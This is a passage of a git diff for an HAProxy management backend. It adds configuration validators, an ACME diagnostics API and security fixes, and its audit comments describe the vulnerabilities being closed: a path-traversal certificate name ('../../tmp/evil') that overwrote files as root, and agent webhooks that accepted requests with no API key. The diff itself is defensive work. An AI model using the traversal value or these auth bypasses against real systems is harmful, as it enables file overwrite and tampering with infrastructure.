ValueError( + "ssl.mode='acme' rejects explicit scheme=https " + "redirect_rules without an ACME HTTP-01 challenge " + "exclusion (" + + ", ".join(unsafe_scheme_redirects) + + "). The HTTP frontend on port 80 must serve " + "`/.well-known/acme-challenge/` for Let's " + "Encrypt validation; a blanket scheme→https " + "redirect would 301 the challenge to an HTTPS " + "endpoint that does not exist yet (the HTTPS " + "frontend is created AFTER issuance succeeds). " + "Use frontend.https_redirect=true instead — the " + "wizard renders an ACME-safe condition " + "automatically — or add " + "`!{ path_beg /.well-known/acme-challenge/ }` to " + "your redirect rule's condition." + ) + + # R14 hardening (#R14-2): when SSL is enabled (any of acme / upload / + # existing) the wizard creates BOTH an HTTP frontend (bind_port) AND + # an HTTPS frontend (https_bind_port) on the same agent IPs. If the + # user fat-fingers https_bind_port to match bind_port, HAProxy will + # refuse to load the config because the same address:port can't be + # bound by two frontends. Catch it at the wizard layer with a clear + # ValueError instead of an opaque agent reload failure later. + if self.ssl.mode in ("acme", "upload", "existing"): + if self.frontend.bind_port == self.ssl.https_bind_port: + raise ValueError( + f"ssl.https_bind_port={self.ssl.https_bind_port} cannot equal " + f"frontend.bind_port={self.frontend.bind_port} — the HTTP and " + "HTTPS frontends must bind to different ports on the same agent IPs." + ) + + # Bulgu #28 (round-12 audit): ssl.mode='none' (HTTP-only host) + # combined with frontend.https_redirect=true (or an explicit + # scheme=https redirect rule) is a self-bricking configuration: + # the HTTP frontend emits `redirect scheme https code 301` for + # every request but the wizard never creates an HTTPS frontend + # (mode='none' skips the HTTPS bind), so the redirect points + # at a port that has nothing listening. Browsers loop on the + # redirect, hit a connection-refused, and the site is + # effectively offline. Pre-fix the wizard accepted this combo + # silently and the operator only noticed when their site went + # dark post-apply. + if self.ssl.mode == "none": + scheme_redirects = [ + r for r in (self.frontend.redirect_rules or []) + if isinstance(r, dict) and (r.get("type") == "scheme" + or (r.get("scheme") or "").lower() == "https") + ] + if self.frontend.https_redirect or scheme_redirects: + raise ValueError( + "frontend.https_redirect=true (or an explicit " + "scheme→https redirect rule) requires ssl.mode in " + "('acme','upload','existing'). With ssl.mode='none' " + "the wizard does not create an HTTPS frontend, so " + "the redirect would point at a port with nothing " + "listening — every visitor would see a " + "connection-refused error. Either set ssl.mode to " + "issue a cert (acme / upload / existing) or clear " + "the https_redirect flag." + ) + if self.ssl.mode == "upload": + cert_pem = (self.ssl.certificate_content or "").strip() + key_pem = (self.ssl.private_key_content or "").strip() + if not cert_pem or "-----BEGIN" not in cert_pem: + raise ValueError( + "ssl.mode='upload' requires a non-empty PEM-encoded certificate_content " + "(if you resumed a draft, PEM fields were stripped at save time and must be re-entered)" + ) + if not key_pem or "-----BEGIN" not in key_pem: + raise ValueError( + "ssl.mode='upload' requires a non-empty PEM-encoded private_key_content " + "(if you resumed a draft, PEM fields were stripped at save time and must be re-entered)" + ) + if not (self.ssl.name or "").strip(): + raise ValueError("ssl.mode='upload' requires ssl.name (the certificate label)") + elif self.ssl.mode == "existing": + if self.ssl.ssl_certificate_id is None: + raise ValueError("ssl.mode='existing' requires ssl.ssl_certificate_id") + + # Bulgu #17 (round-7 audit): frontend / backend mode MUST + # match. HAProxy rejects a `mode http` frontend that calls + # `use_backend ` / `default_backend ` against a + # `mode tcp` backend (and vice-versa) — the parser fires: + # + # [ALERT] : Proxy 'fe-foo' : in mode tcp, cannot use + # 'http' mode backend 'be-foo'. + # + # Pre-fix the wizard accepted any combination and the + # mismatch only surfaced at the agent's `haproxy -c` step + # AFTER the entities had been created with PENDING status. + # Catch it at the model boundary so the operator never even + # reaches Apply Management with a broken pair. + # + # ORDERING: this check runs AFTER the ACME-specific + # `frontend.mode='http'` enforcement above so an ACME + # payload with a TCP frontend surfaces the ACME-specific + # message first (which is more actionable — "switch to http + # OR pick a different ssl.mode"). Generic mismatches that + # are not ACME-specific land here. + if self.frontend.mode != self.backend.mode: + raise ValueError( + f"frontend.mode='{self.frontend.mode}' must match " + f"backend.mode='{self.backend.mode}'. HAProxy refuses " + "to load a config where a `use_backend` / " + "`default_backend` directive crosses HTTP / TCP " + "modes. Switch either the frontend or the backend " + "to the same mode and resubmit." + ) + + # Bulgu #57 (round-19 audit) — HSTS is meaningless on TCP. + # + # The HSTS header is emitted by the renderer as + # `http-response set-header Strict-Transport-Security …`. That + # directive only exists in HTTP mode — the renderer + parser + # combo bails at apply time with the same "not allowed in mode + # tcp" parse error covered by round-19 Bulgu #56 for the + # plain header fields. The wizard further auto-injects the + # HSTS line into the cloned HTTPS frontend payload (see + # routers/site_wizard.py around the `model_copy(...)` block), + # so even if the operator's typed payload is clean, the + # implicit HSTS injection would land on a TCP frontend. + # + # Reject the combination at submit time. The two escape + # hatches mirror Bulgu #51: + # * switch frontend.mode to 'http' so a real HTTPS frontend + # exists in HTTP mode and can carry the header, OR + # * set hsts_enabled=false. + # + # The check is ordered AFTER the per-field ACME / mode-match + # checks so the most specific message fires first; an ACME + # TCP payload (which already fails the + # `ssl.mode='acme' requires frontend.mode='http'` check above) + # never reaches this branch. + if self.frontend.mode == "tcp" and bool(getattr(self.ssl, "hsts_enabled", False)): + raise ValueError( + "frontend.mode='tcp' is incompatible with hsts_enabled=true. " + "HSTS is delivered via an HTTP response header; HAProxy " + "refuses to load a TCP frontend with `http-response " + "set-header` directives. Either switch frontend.mode " + "to 'http' or set hsts_enabled=false." + ) + + # Bulgu #51 (round-18 audit) — HSTS without HTTPS is a no-op. + # + # The wizard renders `http-response set-header + # Strict-Transport-Security ...` ONLY on the auto-generated + # HTTPS frontend (see haproxy_config.py - HSTS block guarded + # by ssl.mode != 'none'). When the operator picks + # `ssl.mode='none'` (plain HTTP site) but flips + # `hsts_enabled=true` thinking it will "force HTTPS via the + # browser pin", the renderer produces ZERO HSTS headers — + # the wizard accepted the toggle, the preview diff shows + # nothing about HSTS, and the operator is left with a false + # sense of security. + # + # The fix is to reject the inconsistent payload at submit + # time with an actionable message. Three escape hatches: + # 1. Switch ssl.mode to 'upload'/'existing'/'acme' so an + # HTTPS frontend actually exists. + # 2. Toggle hsts_enabled=false (user really only wants + # plain HTTP). + # 3. (Out-of-scope of the wizard) deploy an upstream + # HSTS-aware proxy — the wizard cannot help with this. + # + # We only fire when hsts_enabled is explicitly truthy on + # the SSLChoice payload, so legacy/None values do not + # regress. + if self.ssl.mode == "none" and bool(getattr(self.ssl, "hsts_enabled", False)): + raise ValueError( + "ssl.mode='none' is incompatible with hsts_enabled=true. " + "HSTS headers are emitted only on the HTTPS frontend; " + "with ssl.mode='none' the wizard does not create one, so " + "the toggle has no effect (silent misconfiguration). " + "Either set hsts_enabled=false or switch ssl.mode to " + "'upload', 'existing', or 'acme' so an HTTPS frontend " + "exists to carry the header." + ) + + return self + + +class SitePreflightAcme(BaseModel): + """Body for POST /api/sites/preflight-acme.""" + + cluster_id: int = Field(..., ge=1) + domains: List[str] = Field(..., min_length=1, max_length=100) + + @field_validator("domains") + @classmethod + def normalise(cls, v: List[str]) -> List[str]: + return [validate_domain(d) for d in v] + + +class SiteDraftCreate(BaseModel): + """Body for POST /api/sites/drafts. + + M14/M9: PEM (private_key_content / certificate_content) is server-side + stripped before persistence to avoid storing keys at rest in the + wizard_drafts.payload JSONB. + + R14 hardening: bound the persisted payload size. Without an upper + bound, an authenticated user could POST 10MB of arbitrary JSON, + inflate the wizard_drafts.payload JSONB column, and (over time) + fill enterprise storage. The wizard itself produces ~5–20KB of + JSON for a richly-configured host, so a 256KB cap is generous and + still bounded. The retention task (30 days) provides a second + layer of cleanup. + """ + + title: Optional[str] = Field(default=None, max_length=255) + payload: dict + + @model_validator(mode="after") + def reject_oversized_payload(self): + """Hard cap the JSON-serialised payload at 256KB.""" + try: + import json as _json + + serialised = _json.dumps(self.payload, default=str) + except Exception as exc: # pragma: no cover — JSON serialisation failure + raise ValueError(f"draft.payload is not JSON-serialisable: {exc}") + if len(serialised.encode("utf-8")) > 256 * 1024: + raise ValueError( + "draft.payload exceeds the 256KB size limit. Trim large blobs " + "(certificate_content / private_key_content / oversized rule " + "lists) before saving as draft." + ) + return self + + +def _strip_pem_from_payload(payload: Any) -> Any: + """Recursively scrub any keys that look like PEM-bearing fields.""" + sensitive_keys = { + "private_key_content", + "certificate_content", + "chain_content", + "private_key", + } + if isinstance(payload, dict): + out = {} + for k, v in payload.items(): + if k in sensitive_keys: + # Replace with a placeholder so the wizard knows the field + # was scrubbed and prompts the user to re-enter it. + out[k] = "" + else: + out[k] = _strip_pem_from_payload(v) + return out + if isinstance(payload, list): + return [_strip_pem_from_payload(x) for x in payload] + return payload + + +# --------------------------------------------------------------------------- +# Backward-compat aliases (Phase C of the Site rebrand). +# +# The Pydantic model classes were renamed: +# ProxiedHostCreate -> SiteCreate +# ProxiedHostPreflightAcme -> SitePreflightAcme +# ProxiedHostDraftCreate -> SiteDraftCreate +# +# We keep module-level aliases pointing at the new classes so any +# existing import (`from models.site_wizard import ProxiedHostCreate`) +# or pickled object continues to work without churn. The aliases are +# direct references (not subclasses) so OpenAPI / JSON-Schema only sees +# the canonical `SiteCreate` etc. names — external API consumers don't +# get a second ghost schema. +# --------------------------------------------------------------------------- +ProxiedHostCreate = SiteCreate +ProxiedHostPreflightAcme = SitePreflightAcme +ProxiedHostDraftCreate = SiteDraftCreate diff --git a/backend/models/ssl.py b/backend/models/ssl.py index f20a25b..8093482 100644 --- a/backend/models/ssl.py +++ b/backend/models/ssl.py @@ -20,7 +20,50 @@ class SSLCertificateCreate(BaseModel): if v not in ['frontend', 'server']: raise ValueError('usage_type must be either "frontend" or "server"') return v - + + @field_validator('name') + @classmethod + def validate_name_no_path_traversal(cls, v): + """Bulgu #21 (round-11 audit): SSL certificate `name` is interpolated + into the on-disk certificate path: + + cert_path = f"/etc/ssl/haproxy/{ssl_cert['name']}.pem" + + and emitted into the rendered HAProxy config. The agent then + runs `mv "$temp_cert_file" "$cert_file_path"` as root, which + means a name like '../../tmp/evil' resolves to '/tmp/evil.pem' + and lets an operator with ssl.create permission overwrite + arbitrary `*.pem` files on the agent host. The trailing `.pem` + suffix mitigates common exploit paths (cron.d, profile.d, + authorized_keys) but is defense-only — the right fix is to + constrain `name` at the API boundary. Mirror SSLChoice's + constraints so the wizard and direct API give the same answer. + """ + if v is None: + return v + stripped = v.strip() + if not stripped: + raise ValueError('SSL certificate name must not be empty') + if stripped != v: + raise ValueError('SSL certificate name must not contain leading/trailing whitespace') + if len(stripped) > 200: + raise ValueError('SSL certificate name must be 200 characters or fewer') + import re as _re + if not _re.match(r'^[A-Za-z0-9_.-]+$', stripped): + raise ValueError( + f'SSL certificate name={v!r} contains forbidden characters ' + '— only letters, digits, underscore, hyphen, and dot are ' + 'allowed (the name is used as a filename component under ' + '/etc/ssl/haproxy/).' + ) + if '..' in stripped: + raise ValueError(f'SSL certificate name={v!r} must not contain ".." (path traversal)') + if stripped.startswith('.'): + raise ValueError(f'SSL certificate name={v!r} must not start with "." (hidden filename)') + if stripped.startswith('-'): + raise ValueError(f'SSL certificate name={v!r} must not start with "-" (CLI flag confusion)') + return stripped + @field_validator('certificate_content') @classmethod def validate_certificate(cls, v): @@ -84,6 +127,27 @@ class SSLCertificateUpdate(BaseModel): raise ValueError('usage_type must be either "frontend" or "server"') return v + # Bulgu #63 (round-22 audit) — the path-traversal guard previously + # lived here as a strict Pydantic validator (Bulgu #21, round-11). + # On UPDATE the manual SSL UI re-sends the existing `name` along + # with the field the operator actually edited (usage_type / + # cluster_id / content). If the existing certificate name was + # imported BEFORE Bulgu #21 landed (or by a different upload path) + # and contained a now-rejected character — e.g. legacy uploads + # with `cert (1).pem`, `*.example.com`, `client cert.pem`, or + # `wildcard.example.com` if dot was not yet escaped — every PUT + # would 400 even though the operator was only changing usage + # type or attaching the cert to another cluster. That mirrors + # the Bulgu #62 lockout on frontends. + # + # The guard was moved into `routers/ssl.py::_assert_safe_cert_name` + # and is now invoked by the create + update routes: + # * create: strict — rejects unsafe names outright (Bulgu #21 + # contract preserved for fresh inserts). + # * update: skipped if `name` is unchanged from the DB row; + # enforced strictly only when the operator actually renames + # the certificate. + class SSLCertificate(BaseModel): id: int name: str diff --git a/backend/routers/acme_diagnostics.py b/backend/routers/acme_diagnostics.py new file mode 100644 index 0000000..6a729df --- /dev/null +++ b/backend/routers/acme_diagnostics.py @@ -0,0 +1,284 @@ +""" +ACME diagnostics router (Feature A — Issue #13). + +Endpoints: +- POST /api/letsencrypt/orders/{order_id}/diagnostics + Run the full pre-flight + post-failure check suite for an order. +- POST /api/letsencrypt/orders/{order_id}/diagnostics/{check_id}/rerun + Re-run a single check (DNS/port80/routing/account/agents). +- GET /api/letsencrypt/orders/{order_id}/events + Return the merged event timeline (acme_order_events + correlated + user_activity_logs). + +RBAC: ssl.read for run, ssl.read for events read. +Per-user 5/min rate-limit via user_activity_logs SQL count (M18 / R50). +""" + +import json +import logging +from datetime import datetime +from typing import List, Optional + +from fastapi import APIRouter, Header, HTTPException + +from auth_middleware import check_user_permission, get_current_user_from_token +from database.connection import close_database_connection, get_database_connection +from services.acme_diagnostics import CHECK_IDS, humanize_error_detail, run_checks + +logger = logging.getLogger(__name__) + +router = APIRouter(prefix="/api/letsencrypt", tags=["Let's Encrypt / ACME"]) + + +_RATE_LIMIT_PER_MIN = 5 + + +async def _enforce_rate_limit(conn, user_id: int, action: str) -> None: + """Per-user, per-minute COUNT(*) rate limit against user_activity_logs. + + Backed by the (user_id, action, created_at DESC) composite index added in + v1.5.0 (M33/R50). + """ + cnt = await conn.fetchval( + """ + SELECT COUNT(*) + FROM user_activity_logs + WHERE user_id = $1 + AND action = $2 + AND created_at >= NOW() - INTERVAL '60 seconds' + """, + user_id, + action, + ) + if cnt is not None and cnt >= _RATE_LIMIT_PER_MIN: + raise HTTPException( + status_code=429, + detail=f"Rate limit exceeded: {action} allowed {_RATE_LIMIT_PER_MIN} requests per minute", + ) + + +async def _load_order(conn, order_id: int) -> dict: + row = await conn.fetchrow( + """ + SELECT id, account_id, status, domains, cluster_ids, error_detail, + post_completion_actions, pending_apply_version_name, + wizard_staged_until, created_by + FROM letsencrypt_orders + WHERE id = $1 + """, + order_id, + ) + if not row: + raise HTTPException(status_code=404, detail=f"Order {order_id} not found") + return dict(row) + + +def _parse_jsonb_list(raw, default): + if raw is None: + return default + if isinstance(raw, (list, dict)): + return raw + if isinstance(raw, str): + try: + return json.loads(raw) + except json.JSONDecodeError: + return default + return default + + +@router.post("/orders/{order_id}/diagnostics") +async def run_diagnostics(order_id: int, authorization: str = Header(None)): + """Run the full pre-flight + post-failure diagnostic suite.""" + current_user = await get_current_user_from_token(authorization) + if not await check_user_permission(current_user["id"], "ssl", "read"): + raise HTTPException(status_code=403, detail="Insufficient permissions: ssl.read required") + + conn = await get_database_connection() + try: + await _enforce_rate_limit(conn, current_user["id"], "acme_diagnostics_run") + order = await _load_order(conn, order_id) + + domains = _parse_jsonb_list(order["domains"], []) + cluster_ids = _parse_jsonb_list(order["cluster_ids"], []) + + results = await run_checks( + conn, + domains=domains, + cluster_ids=cluster_ids, + account_id=order["account_id"], + ) + + humanized_error = humanize_error_detail(order["error_detail"]) + + return { + "order_id": order_id, + "status": order["status"], + "checks": results, + "humanized_error": humanized_error, + "generated_at": datetime.utcnow().isoformat() + "Z", + } + finally: + await close_database_connection(conn) + + +@router.post("/orders/{order_id}/diagnostics/{check_id}/rerun") +async def rerun_diagnostic_check( + order_id: int, + check_id: str, + authorization: str = Header(None), +): + """Re-run a single check (DNS / port80 / routing / account / agents).""" + current_user = await get_current_user_from_token(authorization) + if not await check_user_permission(current_user["id"], "ssl", "read"): + raise HTTPException(status_code=403, detail="Insufficient permissions: ssl.read required") + + if check_id not in CHECK_IDS: + raise HTTPException( + status_code=400, + detail=f"Unknown check_id '{check_id}'. Valid: {', '.join(CHECK_IDS)}", + ) + + conn = await get_database_connection() + try: + await _enforce_rate_limit(conn, current_user["id"], "acme_diagnostic_check_rerun") + order = await _load_order(conn, order_id) + + domains = _parse_jsonb_list(order["domains"], []) + cluster_ids = _parse_jsonb_list(order["cluster_ids"], []) + + results = await run_checks( + conn, + domains=domains, + cluster_ids=cluster_ids, + account_id=order["account_id"], + only=[check_id], + ) + + return { + "order_id": order_id, + "check": results[0] if results else None, + } + finally: + await close_database_connection(conn) + + +@router.get("/orders/{order_id}/events") +async def get_order_events( + order_id: int, + limit: int = 100, + authorization: str = Header(None), +): + """Return the merged event timeline for an order: + - acme_order_events rows (typed events) + - correlated user_activity_logs entries (resource='letsencrypt_order' AND + resource_id=order_id) for context. + + Sorted by created_at ASC (oldest first) so the timeline reads naturally. + """ + current_user = await get_current_user_from_token(authorization) + if not await check_user_permission(current_user["id"], "ssl", "read"): + raise HTTPException(status_code=403, detail="Insufficient permissions: ssl.read required") + + if limit <= 0 or limit > 500: + limit = 100 + + conn = await get_database_connection() + try: + # Existence check + await _load_order(conn, order_id) + + # Detect whether acme_order_events exists (zero-impact for envs that + # have not yet run the v1.5.0 migration). Returns empty event_log when + # not yet present rather than 500-ing. + events_table_exists = await conn.fetchval( + """ + SELECT EXISTS ( + SELECT 1 FROM information_schema.tables WHERE table_name = 'acme_order_events' + ) + """ + ) + + events: List[dict] = [] + if events_table_exists: + event_rows = await conn.fetch( + """ + SELECT id, event_type, severity, message, details, correlation_id, created_at + FROM acme_order_events + WHERE order_id = $1 + ORDER BY created_at ASC, id ASC + LIMIT $2 + """, + order_id, + limit, + ) + for r in event_rows: + # R18c round 8 (Bulgu A): asyncpg returns JSONB columns as + # raw JSON strings (no codec on the pool). For the FE + # contract the `details` field MUST be either a dict or + # null — otherwise the React renderer ends up trying to + # access `details.foo` on a plain string and silently + # gets undefined. + _det = r["details"] + if isinstance(_det, str): + try: + _det = json.loads(_det) + except Exception: + _det = {} + if not isinstance(_det, (dict, list)): + _det = {} if _det is None else {"raw": str(_det)} + events.append({ + "source": "acme_order_event", + "id": r["id"], + "event_type": r["event_type"], + "severity": r["severity"], + "message": r["message"], + "details": _det, + "correlation_id": r["correlation_id"], + "created_at": r["created_at"].isoformat().replace("+00:00", "Z") + if r["created_at"] else None, + }) + + # User activity rows correlated by resource — schema is permissive + # (`resource_type`/`resource_id` may not always be populated for older + # rows) so this query stays best-effort. + ua_rows = await conn.fetch( + """ + SELECT id, action, resource_type, resource_id, status, details, created_at, user_id + FROM user_activity_logs + WHERE resource_type = 'letsencrypt_order' AND resource_id = $1 + ORDER BY created_at ASC, id ASC + LIMIT $2 + """, + str(order_id), + limit, + ) if await conn.fetchval( + """ + SELECT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'user_activity_logs' AND column_name = 'resource_id' + ) + """ + ) else [] + + for r in ua_rows: + events.append({ + "source": "user_activity_log", + "id": r["id"], + "event_type": r["action"], + "severity": "info" if (r["status"] or "").lower() in ("success", "ok", "") else "warn", + "message": (r["details"] or "")[:500] if isinstance(r["details"], str) else "", + "details": r["details"] if not isinstance(r["details"], (str, type(None))) else {}, + "correlation_id": None, + "created_at": r["created_at"].isoformat().replace("+00:00", "Z") + if r["created_at"] else None, + }) + + events.sort(key=lambda e: (e["created_at"] or "", e.get("id") or 0)) + + return { + "order_id": order_id, + "events": events, + "count": len(events), + } + finally: + await close_database_connection(conn) diff --git a/backend/routers/agent.py b/backend/routers/agent.py index 6b2ea13..dcafe3e 100644 --- a/backend/routers/agent.py +++ b/backend/routers/agent.py @@ -489,9 +489,19 @@ async def generate_install_script(req_data: AgentScriptRequest, request: Request # Use the specific cluster_id sent from frontend instead of searching by pool_id cluster_id = req_data.cluster_id - + # Validate that the cluster exists and belongs to the specified pool conn = await get_database_connection() + + # Bulgu #82 (round-22 audit) — pre-fix any operator with + # `agents.create` permission could generate an install + # script for ANY cluster, regardless of pool/cluster + # scope. Skip the access check during agent + # auto-upgrade (no `current_user`; agent uses its own + # API key and already proved it owns this cluster's + # config-apply pipeline). + if current_user and cluster_id: + await validate_user_cluster_access(current_user['id'], cluster_id, conn) # CRITICAL: Check if this is an agent upgrade FIRST # Skip strict validation for upgrades - agent may have old/fallback config @@ -927,13 +937,28 @@ async def agent_heartbeat(agent_id: int, heartbeat_data: AgentHeartbeat): async def agent_config_applied_notification(agent_name: str, notification_data: dict, x_api_key: Optional[str] = Header(None)): """Receive instant notification when agent applies configuration - for real-time UI sync""" try: - # Validate agent API key for security + # Bulgu #75 (round-22 audit) — pre-fix the guard read: + # + # if x_api_key and not agent_auth: + # raise HTTPException(401, "Invalid API key") + # + # which accepted requests with NO `x_api_key` header at + # all (the `and` short-circuits). An unauthenticated + # attacker could therefore POST fabricated + # `config-applied`, `config-validation-failed`, + # `config-sync` and `upgrade-complete` notifications, + # poisoning the control-plane's view of agent state and — + # for `config-sync` — overwriting entity rows in the DB + # to match attacker-supplied HAProxy fragments. The new + # guard requires a present-AND-valid agent API key. from auth_middleware import validate_agent_api_key agent_auth = await validate_agent_api_key(x_api_key) - - if x_api_key and not agent_auth: - logger.warning(f"Invalid API key provided by agent '{agent_name}' for config-applied") - raise HTTPException(status_code=401, detail="Invalid API key") + if not agent_auth: + logger.warning( + f"Rejected config-applied call for agent {agent_name!r}: " + f"missing or invalid x-api-key" + ) + raise HTTPException(status_code=401, detail="Invalid or missing API key") # GLOBAL TOKEN: Token can be used by multiple agents across different pools/clusters conn = await get_database_connection() @@ -1018,13 +1043,15 @@ async def agent_config_applied_notification(agent_name: str, notification_data: async def agent_config_validation_failed(agent_name: str, notification_data: dict, x_api_key: Optional[str] = Header(None)): """Receive notification when agent's HAProxy config validation fails - for UI error display""" try: - # Validate agent API key for security + # Bulgu #75 (round-22 audit) — see config-applied above. from auth_middleware import validate_agent_api_key agent_auth = await validate_agent_api_key(x_api_key) - - if x_api_key and not agent_auth: - logger.warning(f"Invalid API key provided by agent '{agent_name}' for validation-failed") - raise HTTPException(status_code=401, detail="Invalid API key") + if not agent_auth: + logger.warning( + f"Rejected validation-failed call for agent {agent_name!r}: " + f"missing or invalid x-api-key" + ) + raise HTTPException(status_code=401, detail="Invalid or missing API key") # GLOBAL TOKEN: Token can be used by multiple agents across different pools/clusters conn = await get_database_connection() @@ -1111,13 +1138,19 @@ async def agent_config_validation_failed(agent_name: str, notification_data: dic async def agent_config_sync(agent_name: str, sync_data: dict, x_api_key: Optional[str] = Header(None)): """Receive agent's current config content and sync database entities accordingly""" try: - # Validate agent API key for security + # Bulgu #75 (round-22 audit) — see config-applied above. + # config-sync is the highest-impact agent webhook: it + # mutates the entity rows in the DB based on the agent's + # reported HAProxy fragments. Accepting no-API-key + # requests here let an attacker rewrite arbitrary rows. from auth_middleware import validate_agent_api_key agent_auth = await validate_agent_api_key(x_api_key) - - if x_api_key and not agent_auth: - logger.warning(f"Invalid API key provided by agent '{agent_name}' for config-sync") - raise HTTPException(status_code=401, detail="Invalid API key") + if not agent_auth: + logger.warning( + f"Rejected config-sync call for agent {agent_name!r}: " + f"missing or invalid x-api-key" + ) + raise HTTPException(status_code=401, detail="Invalid or missing API key") # GLOBAL TOKEN: Token can be used by multiple agents across different pools/clusters conn = await get_database_connection() @@ -2277,13 +2310,15 @@ async def get_agent_upgrade_status(agent_name: str, x_api_key: Optional[str] = H async def agent_upgrade_complete(agent_name: str, completion_data: dict, x_api_key: Optional[str] = Header(None)): """Receive notification when agent completes or fails upgrade""" try: - # Validate agent API key for security + # Bulgu #75 (round-22 audit) — see config-applied above. from auth_middleware import validate_agent_api_key agent_auth = await validate_agent_api_key(x_api_key) - - if x_api_key and not agent_auth: - logger.warning(f"Invalid API key provided by agent '{agent_name}' for upgrade complete") - raise HTTPException(status_code=401, detail="Invalid API key") + if not agent_auth: + logger.warning( + f"Rejected upgrade-complete call for agent {agent_name!r}: " + f"missing or invalid x-api-key" + ) + raise HTTPException(status_code=401, detail="Invalid or missing API key") # GLOBAL TOKEN: Token can be used by multiple agents across different pools/clusters conn = await get_database_connection() diff --git a/backend/routers/backend.py b/backend/routers/backend.py index 7bcca07..b55ee25 100644 --- a/backend/routers/backend.py +++ b/backend/routers/backend.py @@ -1,5 +1,5 @@ from fastapi import APIRouter, HTTPException, Request, Header -from typing import Optional +from typing import Optional, List, Any import logging import time import hashlib @@ -13,6 +13,73 @@ from services.haproxy_config import generate_haproxy_config_for_cluster router = APIRouter(prefix="/api/backends", tags=["backends", "servers"]) logger = logging.getLogger(__name__) + +# Bulgu #71 / #72 (round-22 audit) — shared helpers for safe +# manipulation of `use_backend` rule strings on backend delete / +# rename cascades. Pre-fix the delete path used a naive +# `backend_name in rule` substring match to decide which rules +# referenced the deleted backend — which collaterally wiped: +# +# * `use_backend api-v2 if is_apiv2` (when deleting "api") +# * `use_backend mobile_api if is_mob` (deleting "api") +# * any acl_rule whose body happened to mention the backend +# name, e.g. `is_api hdr(host) -i api.example.com` (deleting +# "api" would also delete the unrelated ACL definition). +# +# Worse, the rename path didn't update `use_backend_rules` at all, +# so renaming the backend silently broke every routing rule that +# referenced it — the rendered HAProxy config would reference a +# non-existent backend and the agent's `haproxy -c` would either +# reject the reload or send traffic to `default_backend`. +# +# `_extract_use_backend_target` parses the first non-keyword token +# (the backend name) so callers can compare EXACTLY. ACL rules are +# intentionally not touched here — ACLs are reusable predicates, +# not tied to any single backend; the prior coupling was a bug. +def _extract_use_backend_target(rule: Any) -> Optional[str]: + """Return the backend name targeted by a `use_backend` rule + string, or None for non-string / empty / malformed input. + + Handles both stored shapes: + * raw HAProxy form: ``"use_backend api if is_api"`` + * FE-stripped form: ``"api if is_api"`` (the FE rule builder + drops the ``use_backend`` keyword on round-trip). + """ + if not isinstance(rule, str): + return None + s = rule.strip() + if not s: + return None + if s.lower().startswith("use_backend "): + s = s[len("use_backend "):].lstrip() + parts = s.split(None, 1) + if not parts: + return None + return parts[0] + + +def _rename_use_backend_target(rule: Any, old_name: str, new_name: str) -> Any: + """Return a copy of `rule` with the targeted backend name + rewritten from `old_name` to `new_name`. Rules that don't + target `old_name` are returned UNCHANGED so unrelated rules + are never mutated. Preserves the ``use_backend `` prefix + exactly as it appeared in the input.""" + if not isinstance(rule, str): + return rule + s = rule.strip() + if not s: + return rule + prefix = "" + body = s + if s.lower().startswith("use_backend "): + prefix = "use_backend " + body = s[len("use_backend "):].lstrip() + parts = body.split(None, 1) + if not parts or parts[0] != old_name: + return rule + rest = parts[1] if len(parts) > 1 else "" + return f"{prefix}{new_name}{' ' + rest if rest else ''}" + def filter_httpchk_from_options(options: Optional[str]) -> Optional[str]: """ Filter out 'option httpchk' directives from options field. @@ -133,7 +200,11 @@ async def check_server_health(host: str, port: int, timeout: int = 5) -> str: return "DOWN" @router.get("", summary="Get All Backends", response_description="List of backends with servers") -async def get_backends(cluster_id: Optional[int] = None, include_inactive: bool = False): +async def get_backends( + cluster_id: Optional[int] = None, + include_inactive: bool = False, + authorization: str = Header(None), +): """ # Get All Backends @@ -202,6 +273,16 @@ async def get_backends(cluster_id: Optional[int] = None, include_inactive: bool - **first**: First server with available slots """ try: + # R18c audit fix (round 6 #2 — KRITIK info leak): require an + # authenticated caller. Pre-fix the endpoint accepted + # anonymous GETs and returned full backend topology + # (server addresses, ports, ca-file paths, weights). With + # wizard-created rows now in the table, any unauthenticated + # reader could enumerate the platform's complete backend + # inventory including upstream IP addresses behind the + # reverse proxy. + from auth_middleware import get_current_user_from_token + await get_current_user_from_token(authorization) conn = await get_database_connection() # Get backends with optional cluster filter @@ -701,16 +782,43 @@ async def create_backend(backend: BackendConfig, authorization: str = Header(Non raise HTTPException(status_code=500, detail=str(e)) @router.post("/{backend_id}/servers") -async def add_server_to_backend(backend_id: int, server: ServerConfig): - """Add server to backend""" +async def add_server_to_backend( + backend_id: int, + server: ServerConfig, + authorization: str = Header(None), +): + """Add server to backend. + + Bulgu #76 (round-22 audit) — pre-fix this handler had NO + authentication at all (no `authorization` Header, no call + to `get_current_user_from_token`, no `check_user_permission`). + Anyone who could reach the API surface could POST a server + into any backend in any cluster — a complete write-access + bypass on the data plane. The sibling DELETE / PUT / toggle + handlers all required authentication, so the omission was + almost certainly an oversight rather than intentional. + """ try: + from auth_middleware import get_current_user_from_token, check_user_permission + current_user = await get_current_user_from_token(authorization) + has_permission = await check_user_permission(current_user["id"], "backends", "update") + if not has_permission: + raise HTTPException( + status_code=403, + detail="Insufficient permissions: backends.update required", + ) + conn = await get_database_connection() - + # Get backend name and cluster_id backend = await conn.fetchrow("SELECT name, cluster_id FROM backends WHERE id = $1", backend_id) if not backend: await close_database_connection(conn) raise HTTPException(status_code=404, detail="Backend not found") + + # Multi-tenancy: validate the operator has access to this cluster. + if backend['cluster_id']: + await validate_user_cluster_access(current_user['id'], backend['cluster_id'], conn) # Check if server name already exists in this backend within the same cluster (only active servers) existing = await conn.fetchrow(""" @@ -1006,30 +1114,136 @@ async def update_backend(backend_id: int, backend_update: BackendConfigUpdate, r # CRITICAL FIX: Update server backend_name references if backend name changed if backend_name_changed: logger.info(f"BACKEND UPDATE: Backend name changed from '{old_backend_name}' to '{new_backend_name}', updating server references") - await conn.execute(""" - UPDATE backend_servers - SET backend_name = $1, updated_at = CURRENT_TIMESTAMP - WHERE backend_name = $2 - """, new_backend_name, old_backend_name) - - updated_servers_count = await conn.fetchval(""" - SELECT COUNT(*) FROM backend_servers WHERE backend_name = $1 - """, new_backend_name) + # Bulgu #73 (round-22 audit) — cluster_id filter was + # MISSING pre-fix. The `backends` table allows the + # same name in different clusters (the unique key is + # `(cluster_id, name)`), so the un-scoped UPDATE + # would rewrite `backend_servers.backend_name` ACROSS + # CLUSTERS, leaving the OTHER cluster's backend + # orphaned (its servers now point at the new name on + # this cluster). Multi-tenant data-pollution at the + # storage layer. Scope to the rename's home cluster. + if cluster_id is not None: + await conn.execute(""" + UPDATE backend_servers + SET backend_name = $1, updated_at = 